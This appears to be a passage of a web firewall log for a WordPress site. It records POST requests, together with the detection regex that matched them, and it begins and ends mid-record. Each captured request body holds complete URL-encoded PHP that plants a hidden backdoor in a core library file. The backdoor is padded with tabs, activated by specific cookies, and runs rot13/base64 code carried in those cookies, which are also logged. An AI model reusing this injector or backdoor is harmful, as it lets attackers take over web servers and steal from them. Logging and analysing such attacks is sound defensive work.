event_dispatcher%2522%253B%2520%257D%2520%2524flg%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524resource%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524val%2529%2529%2520%257B%2520%2524res%2520%253D%2520fopen%2528%2524val%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524res%252C%2520%2524flg%2529%253B%2520fclose%2528%2524res%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524val%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524val%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522restore_state%2522%2529%253B%2520%2524symbol%2520%253D%2520%2522b01a9ff92ded61ce6577e1cab7939079%2522%253B%2520if%2520%2528%2521strncmp%2528%2524symbol%252C%2520%2524resource%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522hub_center_core_engine%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:54:59","141.95.124.215","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ea:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Locator.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-36%252B36%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B28%252B-27%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-43%252B46%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B69-65%255D%2529%2529%2520%257B%2520%2524resource%2520%253D%2520%2524_COOKIE%253B%2520function%2520restore_state%2528%2524object%2529%2520%257B%2520%2524resource%2520%253D%2520%2524_COOKIE%253B%2520%2524val%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527ac2fa673%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524val%2529%2529%2520%257B%2520%2524val%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522event_dispatcher%2522%253B%2520%257D%2520%2524flg%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524resource%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524val%2529%2529%2520%257B%2520%2524res%2520%253D%2520fopen%2528%2524val%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524res%252C%2520%2524flg%2529%253B%2520fclose%2528%2524res%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524val%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524val%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522restore_state%2522%2529%253B%2520%2524symbol%2520%253D%2520%2522b01a9ff92ded61ce6577e1cab7939079%2522%253B%2520if%2520%2528%2521strncmp%2528%2524symbol%252C%2520%2524resource%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522hub_center_core_engine%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\ncontent-length:4321\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvEJRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaIwo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-site:none\n\nEa=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Locator.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-36%252B36%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B28%252B-27%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-43%252B46%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B69-65%255D%2529%2529%2520%257B%2520%2524resource%2520%253D%2520%2524_COOKIE%253B%2520function%2520restore_state%2528%2524object%2529%2520%257B%2520%2524resource%2520%253D%2520%2524_COOKIE%253B%2520%2524val%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527ac2fa673%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524val%2529%2529%2520%257B%2520%2524val%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522event_dispatcher%2522%253B%2520%257D%2520%2524flg%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524resource%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524val%2529%2529%2520%257B%2520%2524res%2520%253D%2520fopen%2528%2524val%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524res%252C%2520%2524flg%2529%253B%2520fclose%2528%2524res%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524val%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524val%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522restore_state%2522%2529%253B%2520%2524symbol%2520%253D%2520%2522b01a9ff92ded61ce6577e1cab7939079%2522%253B%2520if%2520%2528%2521strncmp%2528%2524symbol%252C%2520%2524resource%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522hub_center_core_engine%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:55:00","51.38.81.255","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> VS:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Locator.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-36%252B36%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B28%252B-27%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-43%252B46%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B69-65%255D%2529%2529%2520%257B%2520%2524resource%2520%253D%2520%2524_COOKIE%253B%2520function%2520restore_state%2528%2524object%2529%2520%257B%2520%2524resource%2520%253D%2520%2524_COOKIE%253B%2520%2524val%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527ac2fa673%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524val%2529%2529%2520%257B%2520%2524val%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522event_dispatcher%2522%253B%2520%257D%2520%2524flg%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524resource%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524val%2529%2529%2520%257B%2520%2524res%2520%253D%2520fopen%2528%2524val%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524res%252C%2520%2524flg%2529%253B%2520fclose%2528%2524res%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524val%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524val%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522restore_state%2522%2529%253B%2520%2524symbol%2520%253D%2520%2522b01a9ff92ded61ce6577e1cab7939079%2522%253B%2520if%2520%2528%2521strncmp%2528%2524symbol%252C%2520%2524resource%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522hub_center_core_engine%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\ncontent-length:4321\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nhost:dewenlabels.com\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIyZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-site:none\n\nVS=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Locator.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-36%252B36%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B28%252B-27%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-43%252B46%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B69-65%255D%2529%2529%2520%257B%2520%2524resource%2520%253D%2520%2524_COOKIE%253B%2520function%2520restore_state%2528%2524object%2529%2520%257B%2520%2524resource%2520%253D%2520%2524_COOKIE%253B%2520%2524val%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527ac2fa673%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524val%2529%2529%2520%257B%2520%2524val%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522event_dispatcher%2522%253B%2520%257D%2520%2524flg%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524resource%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524val%2529%2529%2520%257B%2520%2524res%2520%253D%2520fopen%2528%2524val%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524res%252C%2520%2524flg%2529%253B%2520fclose%2528%2524res%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524val%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524val%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522restore_state%2522%2529%253B%2520%2524symbol%2520%253D%2520%2522b01a9ff92ded61ce6577e1cab7939079%2522%253B%2520if%2520%2528%2521strncmp%2528%2524symbol%252C%2520%2524resource%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522hub_center_core_engine%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:55:02","89.167.82.230","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Locator.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-36%252B36%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B28%252B-27%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-43%252B46%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B69-65%255D%2529%2529%2520%257B%2520%2524resource%2520%253D%2520%2524_COOKIE%253B%2520function%2520restore_state%2528%2524object%2529%2520%257B%2520%2524resource%2520%253D%2520%2524_COOKIE%253B%2520%2524val%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527ac2fa673%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524val%2529%2529%2520%257B%2520%2524val%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522event_dispatcher%2522%253B%2520%257D%2520%2524flg%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524resource%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524val%2529%2529%2520%257B%2520%2524res%2520%253D%2520fopen%2528%2524val%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524res%252C%2520%2524flg%2529%253B%2520fclose%2528%2524res%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524val%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524val%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522restore_state%2522%2529%253B%2520%2524symbol%2520%253D%2520%2522b01a9ff92ded61ce6577e1cab7939079%2522%253B%2520if%2520%2528%2521strncmp%2528%2524symbol%252C%2520%2524resource%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522hub_center_core_engine%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nhost:dewenlabels.com\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\ncontent-length:4344\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\naccept-encoding:gzip,deflate\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\naccept:*\/*\nsec-ch-ua-mobile:?0\nupgrade-insecure-requests:1\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/library\/SimplePie\/Locator.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-36%252B36%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B28%252B-27%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-43%252B46%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B69-65%255D%2529%2529%2520%257B%2520%2524resource%2520%253D%2520%2524_COOKIE%253B%2520function%2520restore_state%2528%2524object%2529%2520%257B%2520%2524resource%2520%253D%2520%2524_COOKIE%253B%2520%2524val%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527ac2fa673%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524val%2529%2529%2520%257B%2520%2524val%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522event_dispatcher%2522%253B%2520%257D%2520%2524flg%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524resource%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524val%2529%2529%2520%257B%2520%2524res%2520%253D%2520fopen%2528%2524val%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524res%252C%2520%2524flg%2529%253B%2520fclose%2528%2524res%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524val%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524val%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522restore_state%2522%2529%253B%2520%2524symbol%2520%253D%2520%2522b01a9ff92ded61ce6577e1cab7939079%2522%253B%2520if%2520%2528%2521strncmp%2528%2524symbol%252C%2520%2524resource%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522hub_center_core_engine%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%